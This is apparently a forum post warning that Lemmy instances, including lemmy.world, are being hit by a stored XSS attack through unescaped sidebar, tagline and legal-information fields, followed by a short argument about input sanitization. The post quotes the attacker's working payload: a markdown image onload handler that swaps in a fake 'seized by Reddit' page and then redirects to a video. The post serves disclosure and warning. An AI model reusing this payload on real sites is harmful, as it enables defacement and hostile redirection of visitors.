(URGENT) Lemmy has an XSS vulnerability in the sidebar

https://sh.itjust.works/post/923025

(URGENT) Lemmy has an XSS vulnerability in the tagline, the sidebar and in the legal information field - sh.itjust.works

# DO NOT OPEN THE “LEGAL” PAGE — lemmy.world is a victim of an XSS attack right now and the hacker simply injected a JavaScript redirection into the sidebar. It appears the Lemmy backend does not escape HTML in the main sidebar. Not sure if this is also true for community sidebars. [https://sh.itjust.works/pictrs/image/707c0f16-3d5c-4888-b865-34228d968ee6.png] EDIT: the exploit is also in the tagline that appears on top of the main feed for status updates, like the following one for SDF Chatter: [https://sh.itjust.works/pictrs/image/2dc8838f-4611-4b62-92d2-ab45d7b1c560.png] [https://sh.itjust.works/pictrs/image/9195ec9c-166e-4190-a991-26d218089602.png] EDIT 2: The legal information field also has that exploit, so that when you go to the “Legal” page it shows the HTML unescaped, but fortunately (for now) he’s using double-quotes. "legal_information":" ![\" onload=\"if(localStorage.getItem(`h`) != `true`){document.body.innerHTML = `\u003Ch1\u003ESite has been seized by Reddit for copyright infringment\u003C\u002Fh1\u003E`; setTimeout(() =\u003E {window.location.href = `https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F7aa772b7-9416-45d1-805b-36ec21be9f66.mp4`}, 10000)}\"](https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F66ca36df-4ada-47b3-9169-01870d8fb0ac.png \"lw\")

Not sanitizing user input is plain stupid. There is no excuse. Ever.
what about the time you wrote your “hello world” code? did you sanitize your user input then?
Simply having it Print “Hello World” without any user interaction? There are no user inputs to sanitize.

There is no excuse. Ever.

Seriously? xD